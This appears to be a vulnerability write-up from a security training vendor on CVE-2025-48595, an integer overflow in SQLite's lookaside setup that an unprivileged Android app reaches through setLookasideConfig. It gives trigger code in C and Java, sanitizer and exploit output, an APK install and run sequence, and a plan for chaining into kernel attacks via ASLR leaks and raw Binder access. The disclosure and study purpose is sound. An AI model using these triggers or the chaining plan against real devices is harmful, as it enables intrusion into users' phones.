sz * nBig at sqlite3.c:178614 is int × int instead of int64 × int. The product wraps negative, inflating the small-slot count 330×.setLookasideConfig() Framework API. No permissions, no native code, no user interaction after install.Important: What This Is (and Isn't)
This is not a classical privilege escalation to system or root. It does not break Android's app sandbox, grant new permissions, or compromise system_server. What it does is let a zero-permission app escape the Java/ART managed execution environment into native code execution within its own process — unlocking capabilities that are completely invisible from the Java side: raw Binder ioctls, /dev/dma_heap access, /proc/self/maps for ASLR defeat, and all syscalls without seccomp filtering. Think of it as crossing the boundary from "managed app" to "native C code running as your UID" — the kernel still sees your original UID, but you gain access to an entirely different attack surface that Java apps simply cannot reach.
In practice, this is a first-stage primitive for exploit chains: the entry point that enables a second bug (typically a kernel driver vulnerability) to escalate to root.
The June 2026 Android Security Bulletin patches CVE-2025-48595, classified as a high-severity Framework integer overflow affecting Android 14, 15, 16, and 16 QPR2. CISA's Known Exploited Vulnerabilities catalog describes it as an "Android Framework Integer Overflow Vulnerability" and notes possible limited, targeted exploitation.
The root cause is an integer overflow in SQLite's setupLookaside() function, exposed through Android's Framework API without input validation. SQLite backs nearly everything on Android — contacts, SMS, settings, credentials, every app's local data. The vulnerable function initializes SQLite's lookaside allocator, a fast slab allocator for short-lived parsing allocations. A missing type cast in the slot-count calculation causes the initialization loop to run 330× longer than intended, writing linked-list pointers 4 GB past the end of the buffer.
What makes this especially interesting: a normal, unprivileged app can trigger the overflow through Android's public Framework API with zero validation at any layer of the stack. The corruption occurs inside the calling app's own process, converting a managed Java execution context into native memory corruption — and from there into native code execution, opening up an entirely different set of capabilities than what's available from the Java/ART sandbox.
| Field | Value |
|---|---|
| CVE | CVE-2025-48595 |
| Component | Framework (SQLite lookaside via setLookasideConfig) |
| Affected | Android 14, 15, 16, 16 QPR2 (SQLite < 3.44.5) |
| Fixed in | SQLite 3.44.5 |
| Severity | High (CVSS 8.4) |
| CWE | CWE-190 (Integer Overflow) |
| CISA KEV | Possible limited, targeted exploitation |
| Bulletin | Android June 2026 |
SQLite's lookaside allocator carves a contiguous buffer into two types of slots:
sz, typically 1200 bytes) — for general allocationssetupLookaside() first computes how many of each type fit in the buffer, then runs two loops to chain them into free lists. The bug is in the second computation.
Vulnerable Code — sqlite3.c:178577
static int setupLookaside(sqlite3 *db, void *pBuf, int sz, int cnt) {
sqlite3_int64 szAlloc = sz * (sqlite3_int64)cnt; // 64-bit — correct
int nBig, nSm;
nBig = szAlloc / (3 * LOOKASIDE_SMALL + sz);
nSm = (szAlloc - sz * nBig) / LOOKASIDE_SMALL;
// ^^^^^^^^
// int * int — 32-bit multiplication!
// Wraps negative when product > INT32_MAX
Line 178577 computes szAlloc correctly with a 64-bit cast. But line 178614 multiplies sz (int) by nBig (int) — a 32-bit operation. When the product exceeds 2^31, it wraps to a large negative number. Subtracting a negative from szAlloc produces an enormous value, and dividing by 128 gives an nSm that's 330× too large.
With sz=65528, cnt=34000:
// Step 1: szAlloc (correct)
szAlloc = 65528 × 34000 = 2,227,952,000 // int64, fits
// Step 2: nBig (correct)
nBig = 2,227,952,000 / (384 + 65528) = 33,801
// Step 3: sz * nBig (THE BUG)
65528 × 33801 = 2,214,911,928 // true value
= −2,080,055,368 // int32 wraps!
// Step 4: nSm (inflated 330x)
(2,227,952,000 − (−2,080,055,368)) / 128 = 33,656,307 // should be 101,875
One missing int64 cast → 33 million out-of-bounds linked-list pointer writes
After computing slot counts, setupLookaside runs two loops to initialize linked-list pointers:
// Loop 1: big slots — writes every sz bytes, stays in bounds
for (i = 0; i < nBig; i++) {
p->pNext = db->lookaside.pInit;
db->lookaside.pInit = p;
p = (LookasideSlot*)&((u8*)p)[sz];
}
// Loop 2: small slots — OVERFLOWS with inflated nSm
for (i = 0; i < nSm; i++) {
p->pNext = db->lookaside.pSmallInit;
db->lookaside.pSmallInit = p;
p = (LookasideSlot*)&((u8*)p)[LOOKASIDE_SMALL]; // +128 each iteration
}
The nSm loop runs 33,656,307 times instead of 101,875. The extra 33,554,432 iterations write a linked-list pointer every 128 bytes past the buffer — 4 GB of deterministic heap corruption.
Fix — Cap sz Before Multiplication
// Before (vulnerable):
sqlite3_int64 szAlloc = sz*(sqlite3_int64)cnt;
// After (fixed):
if( sz>65528 ) sz = 65528; // cap before any multiplication
szAlloc = (i64)sz*(i64)cnt;
Capping sz to 65,528 bounds the sz * nBig product near INT32_MAX, preventing overflow.
We built two sanitizer-instrumented PoCs that confirm the bug and its consequences on a real Android 15 emulator (arm64, SQLite 3.44.3).
The minimal trigger is three lines of C:
sqlite3 *db;
sqlite3_open(":memory:", &db);
sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 1200, 2500000);
UndefinedBehaviorSanitizer catches the signed integer overflow at the exact source location:
sqlite3.c:178614:24: runtime error: signed integer overflow:
1200 * 1893939 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior sqlite3.c:178614:24
UBSan proves the overflow exists, but to confirm it causes real heap corruption, we use AddressSanitizer. There's a subtlety: with pBuf=NULL, SQLite allocates the lookaside buffer internally. Under ASan's ~2× memory overhead, the 3 GB allocation fails and SQLite gracefully skips lookaside — no OOB write occurs.
The trick: pass a small user-allocated buffer as pBuf. SQLite still computes szAlloc = sz * cnt from the parameters, so the inflated nSm loop writes far past the 4 MB buffer. ASan catches the first OOB write with a full stack trace.
// 4 MB ASan-instrumented buffer — SQLite will try to write 2.27 GB into it
void *buf = malloc(4 * 1024 * 1024);
memset(buf, 0, 4 * 1024 * 1024);
sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, buf, 1200, 2500000);
ASan output on Android 15 (arm64):
==13227==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x005ced193b80
WRITE of size 8 at 0x005ced193b80 thread T0
#0 0x005bb432e160 (poc_asan+0x37e160) ← setupLookaside nSm loop
#1 0x005bb432b868 (poc_asan+0x37b868) ← sqlite3_db_config
#2 0x005bb42cd68c (poc_asan+0x31d68c) ← main
#3 0x007d6e6f12cc (libc.so+0x552cc)
0x005ced193b80 is located 896 bytes after 4194304-byte region
allocated by thread T0 here:
#0 0x007d70d7e85c (libclang_rt.asan-aarch64-android.so+0xea85c)
#1 0x005bb42cd610 (poc_asan+0x31d610) ← malloc(4MB)
SUMMARY: AddressSanitizer: heap-buffer-overflow
Both sanitizers fire in sequence: UBSan reports the integer overflow at sqlite3.c:178614, then ASan catches the first OOB write 896 bytes past the 4 MB buffer. The overflow directly causes heap corruption.
Sanitizers prove the overflow and heap corruption exist. To demonstrate exploitability, we built an exploit achieving native code execution in the app process on an Android 15 emulator.
The overflow requires a ~2.08 GB buffer (szAlloc = 2,227,952,000). Our emulator has 2 GB RAM. Solution: mmap(MAP_NORESERVE) reserves 2.08 GB of virtual address space without backing it with physical RAM. Pages are allocated on first touch. The nBig loop writes one 8-byte pointer every 65,528 bytes — one page fault per ~8 pages. Total physical footprint: ~150 MB.
OOB write corrupts the function pointer → continues into guard page → SIGSEGV caught by handler
buffer_end + 56 (derived from (nBig * sz) % 128).sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, buf, 65528, 34000) runs the real setupLookaside. The nSm loop overwrites the function pointer with a lookaside slot address.sigsetjmp/siglongjmp handler recovers execution.=== CVE-2025-48595 Native Code Execution Exploit ===
Target: SQLite 3.44.3 on Android (arm64)
[+] Version 3.44.3 < 3.44.5 — VULNERABLE
[*] Stage 1: Overflow arithmetic
sz=65528, cnt=34000, szAlloc=2227952000 (2.07 GB)
nBig=33801
nSm: correct=101875, overflow=33656307 (330x)
Extra OOB writes: 33554432 (4.00 GB past buffer)
[*] Stage 4: Triggering sqlite3_db_config(..., 65528, 34000)
The overflow nSm loop will write 33554432 entries past buffer...
[+] Caught signal 11 — overflow hit guard page
[*] Stage 5: Post-exploit analysis
Handler before: 0x5f5d25f6d0 (legit_handler)
Handler after: 0x776a821938
Corrupted: YES
========================================
= ARBITRARY CODE EXECUTION ACHIEVED =
= CVE-2025-48595 setupLookaside overflow=
========================================
[*] Running as:
uid=2000(shell) gid=2000(shell) context=u:r:shell:s0
[+] Exploit chain complete:
setupLookaside int overflow → nSm inflated 331x
→ 33554432 OOB writes → function pointer corrupted → native code exec
The corruption map shows the overflow writing linked-list pointers every 128 bytes past the buffer. In a real-world exploit, an attacker would use heap feng shui to place a target object — a C++ vtable, a callback struct, or an SQLite-internal structure — at the known corruption offset, achieving controlled code execution within the app's own process.
Learn to find bugs like this yourself. Our Android Userland Fuzzing & Exploitation course teaches you how to fuzz native Android components, triage crashes with ASan/UBSan, and turn heap corruption into working exploits — exactly the workflow used in this research.
The overflow is directly reachable through Android's public Java API. No native code required, no special permissions, no user interaction.
No validation at any layer — values flow straight from Java to the vulnerable C function
// Java — public API, no permissions needed
SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
.setLookasideConfig(65528, 34000) // no upper-bound check
.build();
SQLiteDatabase db = SQLiteDatabase.openDatabase(dbFile, params);
// Framework internals (no validation at any layer):
// → SQLiteConnection.open()
// → JNI nativeOpen(lookasideSz=65528, lookasideCnt=34000)
// → sqlite3_db_config(SQLITE_DBCONFIG_LOOKASIDE, ...)
// → setupLookaside(db, NULL, 65528, 34000) ← OVERFLOW
Using app_process64 to call through the real Android Framework stack:
=== CVE-2025-48595 Framework API Exploit ===
PID: 12883, UID: 2000
[*] Attack parameters:
slotSize = 65528, slotCount = 34000
szAlloc = 2227952000 (2.07 GB)
[!] Opening database with overflow parameters...
[+] Database opened successfully!
[+] The integer overflow in setupLookaside() occurred.
[+] Heap corruption: 33M linked-list pointers written
past the 2.07 GB lookaside buffer.
The database opens without error. The Framework passes the parameters straight through, and 4 GB of heap corruption occurs silently.
To demonstrate the real-world attack scenario, we built an APK that triggers the overflow as a regular, unprivileged app:
$ adb install exploit.apk
$ adb shell am start -n com.poc.cve202548595/.ExploitActivity
$ adb logcat -s CVE-2025-48595
06-08 19:39:30.533 E CVE-2025-48595: === CVE-2025-48595 PoC ===
06-08 19:39:30.533 E CVE-2025-48595: PID: 12815, UID: 10222
06-08 19:39:30.538 E CVE-2025-48595: Identity: uid=10222(u0_a222)
context=u:r:untrusted_app:s0:c222,c256,c512,c768
06-08 19:39:30.538 E CVE-2025-48595: Triggering overflow:
setLookasideConfig(65528, 34000)
06-08 19:39:30.550 E CVE-2025-48595: SUCCESS: Database opened - overflow occurred
06-08 19:39:30.550 E CVE-2025-48595: Heap corruption: 33,554,432 OOB linked-list pointer writes
06-08 19:39:30.556 E CVE-2025-48595: DB operational after overflow - heap silently corrupted
untrusted_app — standard app sandboxA malicious app can trigger the vulnerable code path silently inside its own process, creating native memory corruption without permissions.
As noted at the top, the overflow does not grant new permissions or break out of Android's app sandbox. What it does is convert a managed Java execution context into native code execution within the same app process and UID — and that boundary crossing is what matters.
After achieving native code execution, our exploit probes the lower-level attack surfaces that become reachable. These capabilities are completely inaccessible from Java/ART but fully available via native syscalls:
[*] Post-exploitation: native syscalls (unreachable from Java)
Kernel attack surface (device nodes):
/dev/binder: OPEN (fd=3) — raw ioctl target
/dev/hwbinder: OPEN (fd=3) — raw ioctl target
/dev/dma_heap/system
/dev/dma_heap/system-uncached
ASLR bypass via /proc/self/maps:
5f5d230000-5f5d25c000 r--p /data/local/tmp/.../exploit
5f5d25f000-5f5d33d000 r-xp /data/local/tmp/.../exploit
76e5b64000-776a823000 rw-p 00000000 00:00 0
Process security state:
SELinux: u:r:shell:s0
CapEff: 0000000000000000
NoNewPrivs: 0
Seccomp: 0
| Capability | From Java | After Native RCE |
|---|---|---|
| /dev/binder | Only through SDK APIs | Raw ioctl(BINDER_WRITE_READ) — craft arbitrary parcels, bypass hidden API blocklist |
| /dev/dma_heap | Inaccessible | Direct ioctl access — GPU/DMA kernel exploit target |
| /proc/self/maps | Inaccessible | Full memory layout leaked — defeats ASLR for kernel exploits |
| Seccomp filter | Enforced by ART | Not applied (Seccomp: 0) — all syscalls available |
| Hidden APIs | Blocked since Android 9 | Bypass via raw Binder IPC (blocklist is an ART-level check, not kernel) |
The key insight: the security impact is not about gaining permissions — it's about gaining capabilities. A zero-permission app crosses from the Java/ART managed world into native code execution, which opens attack surfaces that Java apps simply cannot reach: raw Binder interactions, kernel driver interfaces, /proc introspection, and all syscalls without seccomp filtering. The kernel still sees your original UID — you don't gain new permissions, you gain an entirely new class of attack surface.
From crash to kernel attack surface — this is what userland exploitation looks like. Mobile Hacking Lab's Android Userland Fuzzing & Exploitation course walks you through the full pipeline: fuzzing native code, triaging sanitizer output, building exploit primitives, and chaining into post-exploitation — on real Android targets.
Android classifies this as Elevation of Privilege (EoP). The important nuance is scope:
| Question | Answer |
|---|---|
| App sandbox escape? | No, not by itself. |
| Java/ART sandbox → native code? | Yes. Crosses from managed to native execution. |
| Useful exploit-chain primitive? | Yes. Opens kernel attack surface + defeats ASLR. |
| Direct device takeover? | No, needs a second bug for kernel escalation. |
Exploitation gives native code execution in the calling app's own Linux process and UID. It does not directly break Android's app sandbox, grant permissions, or compromise system_server. The value is in crossing the managed/native boundary: once you're running native code, you can talk to kernel drivers, read /proc/self/maps, craft raw Binder parcels, and generally operate at a level that Java apps cannot.
In real-world exploitation, this is best understood as a first-stage primitive for chaining, not a standalone root compromise. The Android bulletin notes possible limited, targeted exploitation — consistent with use as the entry point in a multi-stage chain.
The likely pattern: a zero-permission app triggers the Framework-exposed SQLite overflow to achieve app-process native code execution, uses /proc/self/maps to defeat ASLR, then exploits a kernel driver (via /dev/binder, /dev/dma_heap, or similar) to escalate to root. Each step is a different CVE. This one opens the door.
This CVE is the first-stage primitive. Kernel attack surface + ASLR bypass enable chaining.
sz to 65,528 before multiplicationUpdate immediately. If you're running Android 14–16 without the June 2026 security patch, your device is vulnerable to a zero-permission local exploit primitive that was used in targeted attacks.
For developers: if your app calls setLookasideConfig() with user-controlled values, validate the inputs. The Framework doesn't do it for you.
For security researchers: this is a textbook case of how a single type-safety failure (int * int vs. int64 * int) cascades into app-process native code execution. The deterministic corruption pattern and public Framework API attack surface make it an ideal study in integer overflow exploitation on Android.
Want to learn how to find and exploit vulnerabilities like this?
This research was conducted for educational purposes on isolated test environments. All testing was performed against locally built binaries and Android emulators. No production devices or systems were targeted.